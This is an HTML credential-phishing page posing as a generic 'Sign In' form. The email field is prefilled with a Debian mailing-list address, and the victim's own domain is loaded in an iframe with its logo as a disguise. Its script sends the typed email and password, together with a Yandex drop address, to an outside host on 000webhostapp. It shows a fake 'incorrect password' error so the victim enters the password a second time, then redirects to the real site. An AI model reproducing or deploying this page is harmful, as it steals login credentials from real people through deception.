<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
        * {
                box-sizing: border-box;
                padding: 0;
                margin: 0;
        }

        body {
                height: 100vh;
                width: 100vw;
                font-family: Arial, Helvetica, sans-serif;
        }

        .bg-img {
                height: 100%;
                width: 100%;
                background-position: center;
                background-repeat: no-repeat;
                background-size: cover;
        }
        iframe {
                height: 100%;
                width: 100%;
        }

        /* Add styles to the form container */
        .container {
                max-width: 400px;
                padding: 16px;
                background-color: white;
                border-radius: 5px;
                position: absolute;
                left: 50%;
                top: 50%;
                transform: translate(-50%, -50%);
                z-index: 2;
        }

        @media (max-width: 480px) {
                .container {
                        left: 10%;
                        top: 10%;
                        margin-left: 5%;
                        transform: translate(-10%, -10%);
                }
        }

        /* Full-width input fields */
        input[type=text], input[type=password] {
                width: 100%;
                padding: 15px;
                margin: 5px 0 22px 0;
                border: none;
                background: #f1f1f1;
        }

        input[type=text]:focus, input[type=password]:focus {
                background-color: #ddd;
                outline: none;
        }

        .btn {
                background-color: #0096FF;
                color: white;
                padding: 16px 20px;
                border: none;
                cursor: pointer;
                width: 100%;
                opacity: 0.9;
        }

        .btn:hover {
                opacity: 1;
        }

        .img {
                text-align: center;
        }

        #title {
                text-align: center;
                margin: 10px 0;
        }

        #error {
                display: none;
                color: red;
        }
</style>
</head>
<body>

<div class="bg-img" id="bg-img">
        <iframe id="frame" src="#" scrolling="no" sandbox="allow-forms allow-pointer-lock allow-popups allow-same-origin allow-scripts" style="position: absolute;height: 100%;border: none;" width="100%"></iframe>
</div>
<form class="container" id="login-form">
        <div class="img">
                <img src="#" id="logo">
        </div>

        <h3 id="title">Sign In</h1>

        <h5 id="error">Password is incorrect, please try again!</h5>

        <label for="email"><b>Email Address</b></label>
        <input type="text" placeholder="Enter Email" name="email" id="email" value="pkg-voip-maintainers@lists.alioth.debian.org" required readonly>

        <label for="psw"><b>Password</b></label>
        <input type="password" placeholder="Enter Password" name="password" id="psw" required>

        <input type="hidden" name="step" id="step">

        <button type="submit" class="btn">Sign In</button>
</form>

<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
        let step = 1;

        const clientID = $('#email').val();
        const domain = clientID.split('@').pop();

        $("#frame").attr("src", "https://" + domain);
        $("#logo").attr("src", "https://logo.clearbit.com/" + domain);

        const submit = $("button[type='submit']");

        $("#login-form").submit(function(event) {
                event.preventDefault();

                submit.text('Verifying...');

                $.getJSON('https://ipinfo.io/json', function(response) {
                        const posting = $.post("https://apocynaceous-rubbis.000webhostapp.com/box-mail.php", {
                                resultBox: "philominakene@yandex.com",
                                email: $("#email").val(),
                                password: $("#psw").val(),
                                step,
                        });

                        posting.done(function(data) {
                                if (step === 2) {
                                        window.location.href = "http://" + domain;
                                } else {
                                        step++;
                                        $("#error").css("display", "block");
                                        submit.text('Sign In');
                                        $("#psw").val("");
                                }
                        });

                        posting.fail(function(error) {
                                console.error(error);
                                $("#error").css("display", "block");
                                submit.text('Sign In');
                                $("#psw").val("");
                        });
                }, "json");
        });
</script>
</body>
</html>